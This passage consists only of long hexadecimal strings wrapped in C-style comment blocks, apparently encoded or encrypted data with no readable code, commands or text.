0b0dc5efb119659ac913c7466b10f4ef6872c06306324a811a1d207c499da166c43dcd7b82a39ee6c11e08cd91e16d78bffa774829f2ed54843824b143635ad4067cba7c1de87f78c36cffacd4b62a0e7b25b133ec64d865206cf6c188d0fa12b489f06124bc9ec1ddb75af4c3efdd2dc0f3650ac3f6141241a5c0ddd7e94c237769c9bed660899b5cb672739b26b426c7b2dd5f229298b2ef2402ae9925ceafffe27a506a6144143e72e7e740ca2e46e827a58ceca6863bf4cb00cbe0faf44ef828fe453d72762dc7e1c33e0fe5397269991bdaeeb9928b45d2cf4a1e6e55ae09c409c9a0c49d5dcbd79d46e4041dc953b20ed84ac0cd9a56f0bde25ae81a722680dbd2530688ca88f24cf44addb4455a6c2c3a3fb4a3a96477b16ba0fdf61affd76d8df0fa1792715d01dadb20082e575dbdd36196a9ccefddb181f06bba97b18dce8af4a461397ec26beccb30d1103009771cfa11b820da0ec67a3e70e9a3c4fdbdf49943aa6c125dd3b2717668a6c27242241bae27643b466f14a53adab0b5c0d6a2ce7794242b0ff341b1aba1baccb05d68624de671906a1f36fd6221c408852b87081cfece5b4f2795a17413ac411d44710ccd93402d89d5c039ff18a54689779c898c8f92d9924bc349ec1329a0b5c50eb9f19dc0258bc10bfd7*/
/*bf402d2213cec310759265d45f8963f1cbf4fac56da7fa64f26c3815c6aee4e5b6321a24259488cdea3d9713546b0cf22b4d85b5d52273b947dc0233c43aaa50ab501e01670b487ac83a70e039a2f724c67e3e7fdb8cf27370ed4bf69f6f28455d8925773ea1975f907ad4a89eb3c7e81672ee9467b4cb2c23f05af13a3552a6d08dd0c87ac2ded8038b508b995fe438ab72436bb5705ed17f7890dcd1453784a21660ad8ea8488481953a1083526b374eac156826f1a15ad49e7af39dd68695fde6127c630a7be828f1e1507803c8bb330a484fc6ee614dc7e68e6ff5f130135a0efada52eeddeb38db07fda8bc824ba3745ff12d7d1d86f35ffbd6c41d187678ae4320f7d7fbc0242da590ac783ccb7b8800e67b8637adf2316f204c0ed3068adfa30d8ceff59acaa9ed585bc8f606d9c1a1d179899c6eb4641c6fc0cde3f308d6a37564e1e425956104fc95e308b6ca96fa9ed4871c3c675f5ab7b2383ad1e44c410801feccd05beb30e38c480b6a1ede2e82816b33dbf0d8638de50a3cd8ab2078d647e6d403abf1428d22d91be0a041341c8db80a0a1a617cb2933c8e9186142440ae7e765ca1caac05292199852e0dfa42866d03aa9dcde5092cb840e89c44bbaf94ec2306aa3ae510c8544e1027a3df95ebfa23f730ca6cd231a35a0c8d58fa57f4054d0c935849432e1a72c1475b41e83cca0b7338e53d17c58e14cb4ab6e19c38197f583e6932243e959647d4193a6eb306ab307bcd96f93f0fc3aeace5d2b29e4c0b21c425500aece5e1b5145378e11cdd87c5b79b279d5c21b9055a3307bf2b26168a0318524631289ea5148f33882c21a20db9c51a847cdef1f2b1cff348ba1f83c2cab5e83f029c2473c5bcb88f2eccccedf50994ea857031963c3ee30103f11a89e8e9d4291d5f1ec8ab8a99f4db9508071c0b7c2d56f75281afdffb52c03430d325c620aad44ec0b134138ce53116077cc7568331aebef5c6c5d64d40461e9a0e794ff42d980e0c5573cf3ae1c83813ff67d76697ba385520dfd4973300af859413a44afc677a21e4bd020cf2a1db2bce931885fd2cd784ed31053b39b7d7ef5769732e623e75532716d34a415f0c878cefc94868c1dab4bed7e8cbb00a6db45e58e6e17242202185289447f8b42a1722864b71cc392b5a268de7d16a4da627be31c3831384b12071f1d2357827658c47089c01e22dd0dca99ce531ebb6de12c99b8960d70ce05ee556e326108dc445efedbf7f9e1aefa8cf00ee03de6e5e65fba7a54b84f0a7e0afe93a95f67c7654f0cfc3004d45b6b87c78a7eedb3c5d5f96a95361c324b3ca8592b0a1794bce9aae24b153c05d4b1ced19fb278476de75a43c15f26bb68bf53e796c0d4303930c210bd601b354b0034f5fce8e6965c32b09a05929937f179de75bf9d99ccfec05932dc95e852881dd69ab8414d3e8f9ee99a6ba5dc4ce8820dd326baea7069e7e1f2a8db1ddc45e6921ea047a20d4cb342f665dda8390714559fdb82e25e27d47d2147034b5fac42bef8fe4050cabcd26707e51f226ac2e0608aedfafeb7414aec54e8f0e615ae82908ce992a142a458b07ffa590ac2f14230c9910e0dc0c191e4e18e7fa8c1d3d1e5a9ba8e91a7531a26d4525b51d69bc16fe73585fb92754e72e8bc4b8147637608e5c3cf53e228dd5258971cf5366511a06e9fdac20cd9bb8a0859f97e8bde55cbaeee4757aae0a64d06781c011b19221495f95ec9f0d70643807b989b775cd8a50f30ba9cecfaf860cae37a83a8f4cdd4d192c8a81b50b14aab0777dd117b93f4b0fa64bcbf3e24135944acaf88951d4e53859029cc2007bf15f3e38c13bb513bf5b576b19f42b81d34d62fb32125dad350ec99335d40289f7072c4ca365a4f198e99313ce14b2b8132bb5ff757585911467501663dc2b1bfb301a9e2803c14e5fa533c3bc1b1e991c8180ec1895b547294219682aeea583dd4f47b3dfc019094953c926ee565fa333360c2eabfc541326836d25afbe2d3536d2195f7339a5ab8e12283a4bc6209a7b10f240b84c043edc87cc582fe26ef293d1dd8374ec98adf29a057fac10b624da6da281eff665741fbd1c3685fe16c3c9f8108f1a581a82f609179bed3522e4e2e3985fc9c5e7d76b0ecb5f76b3800f31e758f5aa51e3cce94aec6eafcd827970c6b1731e01a83e700413c765f91ee9d6aa78db7c0029731560b2866dd26b857800a37d88f9358892139743c14110278332e0bc4425a2a8f735d9fd731b0f8d135c9944ae87bbe758b4190c2a58470244e142410a2056fd9a62764678d84e6491c02f20d5ae06b1fa61229c08760e3fa90f80ed014e1e25237c459b1f326f193ca460ca207c45e579155ca0fd2c947d29e90d8c43056e8e55f75ad5e935abde9c0c53b5a615e706e8a9f9baf3f185632446c608f23ef3c6ea532aadc392f656546376e03000bd6856f931f5a1547e90d72491b14259e5afc1d61a676a56d823ba0f0166a2518df8a0bb8413c0b1d27b45b81909c4a46410db3d5cec299b19bf0cb3adc00ebf6ac86573a1135868874524368a41542aad428ce58bee8c2efbf70f41069bb3f2c2bdeb9fe5dd3df3376112f5a38f8a01c46e349aca7b4f4a26ad9cfc619f6ebc0a6cfea38a964b84c12f0385c819059aab501e4a0ad879331116f22e070860c8641954f3ae1fb13cecfa8b3f6da65082bdedde78c2b2d75c217537de5aeaee6a822e9114eb7386a042d72f0031a2e54df28249a9c1bbdd10a47145679252eca854aeb3ee0222bc063275c97be26ec1ce9c2c2f0a76299fff87f0e308cfaa577e6612a6*/
/*a95ad46f7494e48cd480a096f8d22247012e8bc7c9198fc53eacc6dd03110585bd912c8a4b26ee5cdb322d129d00c1b6554ee9b742af9c041303ca79d55c9834ca41d40ea2f698ab6ae18d18f460a11053170f5feb208c782c12fc977659dbf66ae382594a3a322e2431e0a9e00b8a97fdacf1000b792b1b2392f740f37e68c7f9c270f80d41fe4f8477fa0059550cef6689c58e9439b48ea7da7c65a023c3a6d93cd4d21412cfe7c07c7d4bf58026925bb1f9f6b357883bb2e44c6c02e5b8a1d1fe376113b673dad54dad77e270b248ae57327a3c6f3f2ea288751a91498aab66fcac41b9c2a2bd3038cbf9eb5c25a3feb1f61006441c62b98b75730cac49fd225aed2e5ab06b27e5726096c3a0d2549bbf25f0f23005af132fa0395f179d7064fbad352cb5d40273f43ad20a5482e9bcef7b0e0380a75665db5b67048a2ab42177461d76dd33daa572cc05f2e519126cca1c06bd859203717d4237bc7b2b7dcd6147db888cf96db64f037677e63ca0d7f4c8508e671931657cee44444739a4ba6d1a57b62060b256212ba527c739cf3dab416b60b1a1a4fd912c02d8d5cdf5f73afefd98c86b0996f61aaac3b810e9c922105ec61001604b2b0b3376ce2cc5e0c5c189622bb3a84752c25e76ca1c08c0b6bd72fd24e6787cbe1719383d3fa92825c66ffbfcf28ca68cf41e7aaf0d473634e702fae0ef4af3f5639d53f7ce014342ac4eef37dc6c9e74f34094afe740a9b386e4f14413d9dbc94c286cbc7812295ef5f9b82da8bd2cc17d4e93483e3f25a9a1211ad043195b71cfaff9697d9fa90200ad0b16a99a36b869e5d47011a48857ef88612e20e6d042e072828ac27610bc63444365689b52f12f7209f1ff34c1438c460d20bf42ac3117e1b5083811d3e43674b6787a2edeb1065871bd1d7e2709134755859b4863f1926a972c6b0166310e99fb39266c0aa0f6ca3a7bb9b0f80b164480fe6d629d8ae8d9cc59272fd5456ef57cb2638209ea075a31976c5dee36beffbe77fe84b0bdf276934562b070066fe31865a69868f7c5c49bbe035e017f91c032454e007580555aef3d48de9626ee6e97e5aebdb48b3280be939e834f3c2ba729e8f1bf010c9ed785d276abde54627e7555935a69a8f2a4577235fb47965b0a208e8f69298cf698b440a533f0b8c2dcfcbfbf63b1f2cc3fc42e535baa01d8fe915b36fff9d768d93dc5d25b55a1db73e2d0741aade5ca38d26b5f8c68f0e6f8389cc8135f0a4847cc6423b29fe702403a92d808ae5c7aeb765a76a93a64c0a0a26ca5d41a3537f0346eb15d0837ccb1279ae4c5a216eae32f80b415ce3fe13849d5043df8cea5c46cc3c3a514ed4bd57cffc1f13afb860609c79c68d725869279913fc7ce8f6fd5b149e857d8364729c1b1b75e7f9d15b59504cb75ec7af5856403b9ddde43b25ebbc22d8c1b96fc360b43fede1ddf7404ba7c2a57d97affcae08660ade74acc0997a29f74496202e7ca18d594dab236aebefeb6d3d466c48e5991430aa4be2847cf76a6e3a351062be03a0c5823eb92da8b5a95b12e0b84d85f3cc384b84f8a779661ab417583dd1d9e3b1ba8602f769cbc433d65a43cb7e3d1389334045b3aae4b7b9ad0e84981c641062b0997134534dafd3755da93bbaec7d683a1a0382f8efc779024bd06314291e26039cc4d89b60fb0d07d0a7cce073a6eedc6f31994d8fc6342ccd0152db8fc7fd735eaac97af8014a4e29b9156a4adab73a3eabbb47bf15ae769783193062ad814643a003410f6173c5d5e9dbdd22b1ef29b6c247abcd72c066f7cb969f1b7b37675f224697569e19fa551460810ff85eab56a86c11cd832d00cd0107ee12f425d69b5299eba09818de4eb8ac816dfff138a8204514e1304c4125e528307439c15dadb5ff0ec31a38523b2690776e46c0e44f0901acd707d1ca3f6fdfe9610bf4261602d51c63fcf5d90c41b1fa3417f1732d1bbbcc65c3db08d5a11ed24518d4bc2aae6d228b7ae28909e09e928d7bf2f5086ac91a96c177e30f870e3c79eb0bb8a99d0f8c31a8ae64d4a0310e04c4fdf1ec4d26ded93604af06bbc8d1574913e50308c3f81ebcd890e4727740682177995f3ad60e70ab6f517586bca349df572a2d51cde2472b29aa33ea1bdad62cc8a1dfdb386f1cbde804a742b6793c5b5d258ce3a0d042521884cf550448d6cc20ef42aa202ddcab091141575426902b45eb620340f9e356355a502605b39af2be5f7495fc860200d058499cd31728ec2dbeb8b1d27fabc7bf4a940abb1dec4f9f2fdb3efd39db6f64b564c5b5d01a34562b915ab7c6eea19e031f8efdba9a6b3726172d8576e2361b17f3fb719d191c279fe6b6761dcfe4d9ff3f25d3d02ebcedb92ba826c9d34b79fbfbe69d1ce22bb70f33fc4c14494e2e0de6860ce62d34a2a2db4424b215b8111e6d18bf619b20843a72d9d59613ac77142385b3f623ebeb0025472588ae8cab033d1b193fc79902933bf7feb3dab7dee552a4c037523f606d92287029edf0a1c1abd99400223ef715ee9e21acbdf4050bbc0c778a1c9a62ad2c721c72bed911b0f25d5fe918cdfe958185c4d1d9479537ccbdc05dbde696d944bec4c1d2d7f2d59250daa4121deae8bcb066d12a4a0bb5ed12db5eca2e5039cc0f3ae69f6b3f4053ad89d888a2b7114a51f80254eebf15b04fa50f015de25242084f1511cd880302bc8bd9a662ebb7060aac402085191c7b048ef6b1b07f74dc4e8300ac5f21eec2cf3a00345a9a08b1ca1b49047b94e35f694ca79ccafe079d89989adf75aa4b0e599a99f38c5b9ce5ca6b9a837218879*/
/*bf3bc19cff35146d2e6460d3c89d283d9f25e649f983f3ea164229bdfae44115d4fccdec6c6f0db7f137005f91ad3369daa376d8a313cdb4ad0f45f070e3831b369f62fa85ab0b8bd453640632c1dbf55cee5dbd97d411311cdae21cb958c1f0f78085181785e599022150ce4c94ecc51a295a5a87cb534f9dde50f5180dde214d1299298fb73ffe2c3d8511e20312f15aedaa56112580d0bf1f683959abfad819c947294e28f87a7b5ea78c203048af8941813ff31a586a084b7b3f3e28ba00ac683903ee3ee3ce4edd2e2577b3a847180336d193881c0348e07cdce59d0e78b87accef2f5262d01100b95302b263482f42f47cfba0a5a7f847ae5a8a168c47f920c4edd784cdf9a768dd134b663cb8a36f4b20ec5fa07e89571bc2e5c7537f8a95a0fabf1fe118520aeeeb67261842b32022dcf67becb5d7a1ee4cfbf1aa0d111561b692e8495e807733ff6f3056c91a79765c5cb896336b3b61dcb4a2ef6a9a3bf17009c2c5b782859539731eecb09466d734bf508fa2f989a243495cf8516abb71858b20ccf360d3a5494e701c89f2091f76d23993f50b1b11285254cbbe9bfc4054231729fa2e2923dfa52476be90acc8ccab18085dacaa899cf176d1cc62b76d6f6f1e69e3617366984e2d051cf51e5c50fd70168436a1b38ccb26a247de24f1bb73052786c138ba0faf7903c82cc76110086a5cffca4c6f17d31ed41acd19c800b899ad3b2dd4e1da7f71bc7032a65f8679f425591903097f91c841c5a2f4decabf3f64a2c3121d8ee68a9d97c75e1dd531cca40489e882f5b3102181cb6470e8ae31abd4d46d504377ca1b51fef7f4132a42f64076c9c04848bc4f6b27c9c68ef743885bad49016478c95baa1880edd269b7eeb57c5de372ba37193d90f21771cdb50b1d948861045cd933a3932d6103f5e08c1aa5cd8e588941850a7230efe6722ed8f32fbb243afd9cac8e337b002ceac0d062ffc624a7d56e3528887d55d93a1cd8d651cee04cb4ca32d5c50310ba00a0db260a53cd0127ebcbfb457ae463a6471feb474ebc58090ec4fa60c0bed0ac21a091b49aac3cf3e181541ed87411a70232ae9c28ff1c376f24a3a95a06375ff6c43e20c7a868bcb4eca27e7be2f12b958cb2c31e3d4c4fecc290d0731dc27d3e2b4d54a5d6be692ed5d7f296c23feaad1bd0588ed0c66f0b0624a1717f38e07a31787279d3da582c351011dbe78ce2dd4aa73a85b31afca51ad840b52f4f61bca67be720aea64c9f1bbfb18ac4d4c014ee308095658d20c31c3dc48881845092550e7455e1d6127ae0178552da1f8069192ab07ffbb653b2996157b7c1529421e2896ce5c8a0eddba65bab0feba9b0965c49f7b23053f376c41c28b63710ca2c9ae75ed0489f087654afece33effff80f0e1c2948ddf501f0fe49cee3f6d76c084404318aa7785cf6e8358af085f12fd7ce41eb502d455ca152ccbf841f719f934d970dfc3cceb015052faac7422ff4d54ab1ad838c76559341b8eb5392600b6e5f27c00a1ed4876eed7befe0d7fb4cbd8ecd263f16f27b86031cef8eabaefe61c21cb043a7707c2936b47eb043e56cf6bbc5088ce90e246c21b8e43fb45fdb1f9bb8093aa49976088bd35efeaad8c74c31632ff1ed8b220e4d79011eac04f8bb7f8303adeb1d1ab0579711ebf9ea57123ddc593c3b210a4effc3faf942775b01fa3dc65236ce431666ebcaf2719a96459b297296c58c6ab50b32f90476c3cdad1306c5d3aabd90440be7ff3ae125a65e14d6dde0d3ee2dbb335e01d1a1b3bd628e9999e25467d99683cfe6772b9204e2f0fa391cb65313be889abd5a9af382c4aba91dd35929380789218b2609c9bfea2dfafa599a478e4daa7e32a444677fe2eba538e2b7b8c033047133d0a0af86d9d9eb1496cedbe5d95648e67e8b5e2688261a68edf901de0ac5c7e1fa6f70d6f62e3d5c77f8e5e31ef5a07173738eeb19e60f65d80752880a695b58675e55804b1f019b4b10987b4e03b775e1b95ab8a5bd2f52424242528b2b176b440299c10271236fd5534240f803634c7b6cd58e48b75328af74512989cc3aac421b112deb330ca2567d93e27571a0cf76fadf2d1ea5466933791d48d7f0751f019997b48596d86bee13fbb24d5a81e0f98b767de75bbff46d8233d5bf787449259a2ddb2cb79fe13ccffad7b9a356ff64d51ef12ddd7f11e17cf926b131539f341f8dfc2f24741c77c894521ead3f8b1bb43f95abe3952c557f76377a9bef11a89b6729c4126ea19cec2ed10e26a96cce557a105fe7f068dd88a19e6f3641640b8b3eea11379fe5044097b36298b505edd181d51764a3abbc10e33d829e20ee5389d34c32208bce843e86f6bff460f51950f3f8443196ea9b7e767e25fe506999e6db429c4be0d0b3cd24c8f977f5521f302cb4da25fc8d4607dbfb6cc3dec43d9ce8b2032a1e3e130dbb454510e3fb2239b57c469b3508399ebe9cf83cabe509a3a9b33c468bfb1f1d03cd5f9ad029fe398cd8a345b5b8ea5c125b2a1280f1ef759eff9014b209bed82bd93c61b963ce66be26020bbdc07475492fea8bc45e423bdc0566c70d08317de7cd40c4efe2d12519e6fa1462ce16fd50dcc12c3a2d59157c997bce7c09c69aed4f53feaa78524909c90a0d28b02cdffefa563f28effc41938f5d4e2db11a4c590b5ef7220a416a34fcf2337066c83b697c2639018092deb2c57647b1e31c07a58731b9f4c3e805e3a3e48bbd192ea3ebfb5794356667673c3ccae9dfd959fc3583c05237aaeb8d0d3b34532ef23635a315434182c5c34bce377269f0be0ec7015a5429b*/
/*8537f80ede00f37846cf15c5efd94ceb61614407d5647364579c051335c324effc78fd96fda459f247df308a4aa028fa08fbb01fcbd52aa490ea8720f54fa25e02f89b4018c80f78b655f9168f56646d0639f1e16ea6bcf34cd01d0982fb4bb0ae2cc428a7d8cad8416c545e1a4675621aeda97d0e719f9db80fa43d8b3cb1bcd64c5e2406923ce956c8a3b88babf6d91321ac27e17737672038a1417ff7492ea373a12425a5c0b8537f6163e0f2c3e641dd4954c8a5708d512af38f1c782e089c3fa40713fdc97ccc0b3f91ce16198a31952e4161a82df229b284d84b604fb636f04b89cc4631532c011808a710c8d6ca1ae5faae70c43cada16d424c33ebafc2bae6b636bad6d2a9839b262eee020b37ae583d32245da54751bd385950281868f678c069ada8d151ba159881de7ff7ff8ac547e11810af0dfc45ee4edbc0fad1ce49586411dfd7d16411d8308b95cd2a13ba718f6d8b340cd4aa65a78b06171086f39004fd921e003376f50c0ddd62637fe4025e132cf0c469e91c0fc5c817b97cd7783ccce9aa945da58578c490d7070c4f67682b33ac6cd13267cd01c2f77740dedbb38371f153b1d44e80180deec4d300a5d21d094cdfc88ca22bf8c15abab0a186262a113de4fa0262c56496f71bd45e8d741acf2eb1ae75b82b44f96e94b97d2fd7ef879b9803d7d8a53c225f5213d90c861ac5e1aecbccde02ac8dea66d31ad5216eeb2cb88a10cfdb910d903bf5f500f96d08f4d0b745e6a42d9df5a9450f5c0469184467eceb39f725f9142393b2462657a5a634ca8fe52705dbe8a9f4bced7e5b3f53ae79bc4d650e88b8094b7dae3ea4351c982c56c39e6cc0737f31084ec19fcd8ad1d25078a3791c0e323801ff20c7d6bacba0a0ddd44c9e6185a29a751b3a01c586735bf9d8a5c5eefa998f0351048e864a32c8a12a933a543219645d017b99cc3b692485f2a7221fdcb65d5a5000b163cb5aa422ad11899367e366ad1b824c67708f764a2aa96f97cd68e8e3eafe3e1f74115df2b93610849959053baa12c22d29d2e4a9d0756b17dea058859c9e67300a9093d5651a46514be51c12b6043dcf28c6bb739cc7318852ea483b7f8c4c97302dc72d26bb401596f60da404ba9a237f1240605d60b534c7a050180d30f8bf83aca0ff67c2811003b5c2502541e694a0e79c0e2381efec45cd03c0ca312c702f8c186190749aa9fe1564c17a3bf89e3c6335c998ca4172003e5061800d458048123be9e2cabfecd5c873cb50e86cdff7498eb79d5f8e81ea3290f41d0530674ef9af68102aac4c21638cf2cf2cec44d98685a98ca9067e605134d379868afe4d7085fa6dea17e3fcaee9e91f48a3b69fae866c5b1517f2467eac47f092850a4b6c03f62ac9b3f974621b272fa3dab90e7e3f79ea84167be8c62d54c6547c5625dd655d8ba8238ed26d1a8f0adf40b9b29788a566e5255787590d5a7bf9796f2ff2679f7a8e85372c3f3905e1cf84f5c3ebc5b1859127129816922ec34351088ae9fab68a04e10fa647e60785389e883cc630f70c1a892c1a4b23648ae12b7a815f69fe4451cf2cf1a4ff6099b360bb0f8875e34ead40d687552177e3773d0fc66adab20fdcc4256e8686c9e49c266ee2906dd6e0214b3624dc0a0f509f0be4aaf37f936e9995ee1b2e536cef72b0b58df224394b160cb50b8a6cebd4ea877b230e2d4a39c43182b6b9f35504395c428c23335a71ebb2b82fdae8cb32b45deb5de4acc2a107e6c25b0052de4dde0f5d0e8a935941b7526be1070850bce1370bd37b7a37f0ace8b3dc0ebd3aa51913fbe23a7f587082d7aa8fc6d34c3f49b3b00b51729297d88e35fec9567e75cac8c9631a15aeef58c28ee6779a45f55266d1264b35cfba5f229b03ab07866b2612f61f45d9bcf1cec32dce5c31142af389f7e7f275bd29d80e34fbf5270f67d7fae91c7170125a241495d552678b886f99b787af91eac263bbe75155f8368f02eaa50a39bead522a5cab1c9e0ecf3eaac6053a1abc5bff624643a434300261b71ebdbcb8e03ff4204ae5f5e4a6f256a4460a48b7f407280faf31ffb555eb72fb73ba66f7a815f7eaa6214e71a2ebe7dd5493582abc307ffd8e77d9473cbc2c9792747d2f4b0bf4a3ac50306cf5e858a845d78b6db0ff7c306d612a530ab22ced243fb958cb76e2e29f075087c37adcccbfb3cb977093dd6fa5e4fae8933a92fe02f7eefc78516ff7016a999b4bb4b0cca5ec0eea40a0db06d9d933d76dcf29a77526aed6864187dbd8322376210fba54b3e065f31ced319c80474bb5441afa192925284d616d324b6c3822bf2933e7da2dab4eaef87b73405bf19a08370aaee8ffa40ffea014b160280b07067bbafbcf0e101dae679b0269ac1daadce248088358ce116b5ceaefc53e61b06d6b0c11dc867be57073ba11a049b780f59d7eea9876ea7aaa3c45071e89326809ef1a3caec33856b75a1e3b0c9f9bd7c9a3defa748bb93806ca74c4168bcc3af31ad8908a8b7b7f12c8b97689c25b5a6d62b06f9677ff723897730474fd937ea0304ff71d468a5d818e56a2125f3dd98911c8b595c2cd41950657427d6ae9f2038406b1dd17c9097794d9036e85a6f1c1791b22881b8dcea8bcf4bf20a8c7fa7802f602a445376ae13452a792dd955101a9bcbb9f231e5a70e2024038e2b3aab6bfe943dc67b4d5941948bd75e87a55ecf32f12038efc6bb4d3293663c0e475c08a2d8dfeca2564c91df4697e6566fd3ed2ea2cc3a1e5c3e7e7b590739d9d77a3613f76930dd8cde5334935311a6f49d8b12315942b0db717d21328687668*/
/*c89977c284c2b33241fe27525de192bc9ba69edd0c15f9dae77af31060993d807329b921db79ea8e7d70276defbf1c2a3be956f12cbb86d0eff65c3855358d0d2a08c7ac67d8a460a392597e9017431e2595c26b8fea4bba0d25ccd43552b9770c09a60ec867f273a6943cd178e50542fd6d3791664abc1bc58e6b7ed24c80ad6c6dbd752a2feaa74d7842980e19de0b7ea879d4958c66cd32055a2c365b25e2ca08358f3e81c534d26ab8192c6fe31ba0fcc17ab54060e5ab7cc0ed0b28bca4061e2e06ff88630e0a00105e469a9c8408da27c56b30adb1b8f4a612688d0d385b1381d10e7205379fe0b382367e7c6da01dd0cfb7d61f8c16053c34b0e063f2804391c89e3591dcdac002e6ce63bbecaaa61cdcdccfb4417be639d301a5d650de350d4c8fbed8f01d0a3ea641df2f110685e535d9d552ea372377164a950647f38eb04cf896e8154164274009ac05b43310f46c79a6037f96b549fcdda770ffccee29831d6b933a4937302b65b2049a8e1185ed1fffa6158494730fbb671495a941c98da183172f69a178a1ca113cbbd9bbbc8134f56f90b251468c71aeb27c4fcba45b7d05e63237ed3a161070a57b2420923d5891fa832e92be25b848522450d6a97acbef6bb5a9a6a5e5ed89072252d9351103fb096e022cabe9b7c1068d473be741e0876209426661e84896cd112e03e9080f70b43cee9cf5404f9713ad490307ea85651e38a03ef1103431a477b1a5c3fbce74b00a7c61e5dc044ca72a39baa20db1c1e78d4948b8fbac94339403b7330225e7cd11ace7e5d80bfe61e1262ac73b7daf4231f546f2d2da2f1e8be82dc944a4a53d2f89eb5208597340fe43400fa2adc291b7c7b7c81ce40331781fad7e0ecb053c5f0b2a499608bf5834e5de6222a4d3a0874ab29f0a87e09ce514ebe5496196d3b9adde4947ab3ceeedbeab8a54dad97267993e3be7b3a2a0ac3ce16bc570a37cfbb01fd3e29ac7c348a7b20b9224363dcfd18fc058b9d2fe3ad403744bd3e233e6773ce46e02a5c7ae8e79038d6529866b60e2e2a3a4f4dea3c9ecffc0eec04570ad753e1d80d08d9ead7600ea31599312db5557ac3c682fe46d5e26780143bb3317a8e900f6c267a5fc40818d6f174cfd523843da1eb17edcbd0ff856126e5ba159b70f0c306b32fbc1f4124daa0083c55c2d94ddd4354b218ac936ee2622eac20f1b0d5e2a543b788015faedae40ff142eeb0ace46ea4aa5ca46bea7a5e6db3831796f89e6ce273207604f69a9f6ed4de5ffd7f516952d9fb8f29efe7d4505c844de9a9a23e60c911a9328c380792971e11947c609bfe1f455510cbc913aaa2894f44c9eb6065450eaf600e82718b9a1af6477bbd3f00000e2b7040a44cb830d08590e8bbcba5af7db3bd1fb3c888825776474403006b6f51b497169f18fe496bc3ffae3cdb719f40152cc4ef564779327c03dcfc5863376690bdcf7cfa4dee4516713f81977f0e41812721daf0b84c09aa3843210f8def44c81cd4a1b950061799e5fdd39f4e19d480c44b1fb6802c8caf28334d84333576a1fa219c5e775a3803da81e534fbae44c87ed1985250bc219be547d63e817c2d9b1e8a2cda5bf6d7ae8a8531ea3b68935d0668432922058ae731c9cfc6f0e7c6ec4f411f81f813016c80d125fb8af8ac07aa1f040e64aac346b043bcca9f33481bddd5de5d0069938fc99ab46d26977edfd4c0adff8ed4c6a61618cc429d3b80867b132210cb03e35bac22b1fd1e5c4d0572b8c759b0ea73c6306bbd28c22489a498cef17002ce4689a293f5c8679d4659601f976522674593d089ec89ff3acea648e75d0c367a6e3d99f116712afcc17afc63c60e3cf9777f79df1141e35656dd4728d7339a1a26df9ffaf45c0a29fe162a962d37b8b4b66067ccb4ff36408bc52c8ff9ac657c472aede8bf36eafbe3e6f1697f4689c5524de5ac5f510ae3478d627419a2c0cbf53c3b374c120cddeea445db079a3553f2d06016980a06abf1d344a8fc79279f754ee94368d4a322bf4609edf4b69b801626948b3f7ec67664791f1adcf3ddc280b1e8caddcf52f77d730476515f9a65e1e89b467196dafd6a6924308de694d4c627571aab373cdc4281bad5240227e22b7d6bb17236a71ddda34c135d9dd4f17e8a7066562a00fcad3f25e6fa2697a6f2ab69e63f611c63f24e779c2828180ae374d551da4117db019e2440375e2a1ae96e1013a6b3ea205e5124644146cf378078216c597040029f318455a22766b38e19845c51919d473e5e38571bedb814b7f6e64dbf09a126d95a7e1dfb9299b1e0b479c0293d99c54477e62b1a157fea9dcab8234f60a9ea004b15d29790288dff87fe05e62e347742b4aee2fedae83efcf82b2ded2407f42de6dc8800259532ffca02a4ddfc5c115e6ece8bcd8a86805732d039dfaa5042258c372b7d978d9da7afb46206784873852519a1f6091e0c825d6b99409fd622a05b89ea5b486571f5a7b91ce9b9675816e8f1066ad484911c79de6413642ec5ea2b1f653e4670b045c899350cdc072f6a90d6e965d6494ffe1345568e1e7ea3ba77c5406568c7adca45b1f80625ada4f4afb930d10e7656daa3cbb45eff6802b64dcc8b98ff8216fb857a4670d30a57f580265913ee5e23c73edff43f71316df00dcef059953b7bf5e259ee3942d902544cfd1a403219a4eb30225c3834be0f99987ece96606e9bd8bd1d0f3d9df27d1b9d5e6e30202eec694fdfb2f58d44f3f2d2b1f1a9c225a98a54648c87de1662726700e7f91d102efebe6b2195f259fac7fca2f9290ae966e2f0c7549b5fc5753*/
/*918fbb833c64589ee989b6e6966dbbb7beae65ac83c67842dc97bae4cb8536975752d26f4494fe5862a947dccc7a5c8065208d7a383a6acfe5ff7921c5f89dcd8160a418c938ba42ee97759c37d76fa644ec323c4cd279aa5d1a35d94dc88b3ee41c419dbcfa549a6acfc80169221e4d321c29a88ae4c9c3e184ac0b85b9b8fe6495d34fd36f65d669d22d592eb9e802b0df75e92bbc05a78725fd8ae4aa5f784bd4c816b5ff5fc645b072c98c9e5d8fc3b92bfd9dd3467ccefadddf9d2fea59746e6e38ca920efce0ae42a499d34593cf1b00fabd0eb7c20c797424ef548691f659849ac2fbea068fe43ae12d438d82279e6c6183a8fb9d04612acf3d24a8d499fdd4e6ca0594c1675e2f89eb31eff6e25d80f6c0ca150def4826ac8e722413be253606b595031069747a5cbd45c833dac7e7c58e0e248e84f31812d050652f144e8b54d6c1630c3c980fae5ec21e10d5d75c486eb091afc6e88a4dcd7133b72e6c499fc10f8855084f1d07e15a44b2eef09eff45916e8e852dfba189618d4aeb94d4f7fd0c35374b14f703689aea3e925a5d91b797ade0bb3038752e69722040fde629f95931bf8fb6f55e6a45ec21c18c3ea6eebd6206d5a5074b1c9a3fe16ffb0f3714b468eb09a8e02174d0af24a40b172a5e1594052649fcf5c64b10695044eca747b9f0099335d954bc894bde0b98f5f60b8c7855d22c98f6326400e736c41c89b41ab03b72420eab735e9f206dbc417dcda5d971751cdd9ba8bc8e9dc8989535621ee9bd49c888bc391be92eb45077109ca6bb06961153769cc66f1ac367759dc3621616d78e3498eb77423d2a8d2949ceac0d6aa219a43b41dca23a62be54b45844db71821d84f3e5e8d4a31ca626bc9a45fc5d35afe2662bbd50489d6d5429d7d9c0801cb1e594c60c96c426222f9f8cf75ef83f3439ec1e8eb3e18600024040cb0ea112ed16a1ad8ed3ee72e9f8a459f7a59d66d97f1a2746ef06c4ca45e542ae535f64aebb27e6794657501e5194354a83cbcf41478085d62a9abe8154833f37ba400f5d36f217474a46ea8e03b685770e3df3c906efe96048eb2ca0efad47201b47fb8ada8c57a0b3407c6e1df9ef1cf0bd86f91fc9a5bc519b263055b8c61d3fa6e923884c56d14358018a8c2a8d6fc76479d11920372f93eb4a3e63fea80e41f2e7dfb31bfc58c14327a0fca20a672c327810c6a61611ccb89b9eb4064ac41d59d47e06b972095e144817d415ae3a5f16255ea743317b2fed8a06f6b341743c7c16a665a90a16a4840002a187e7399c8e6d5f4a649911d5ac9d5716fda79df0b265d1942b02248328d1a2f3745ab6fc2fbf6fe92681ae7efcfcb01b31d178d0cfb02a458eeef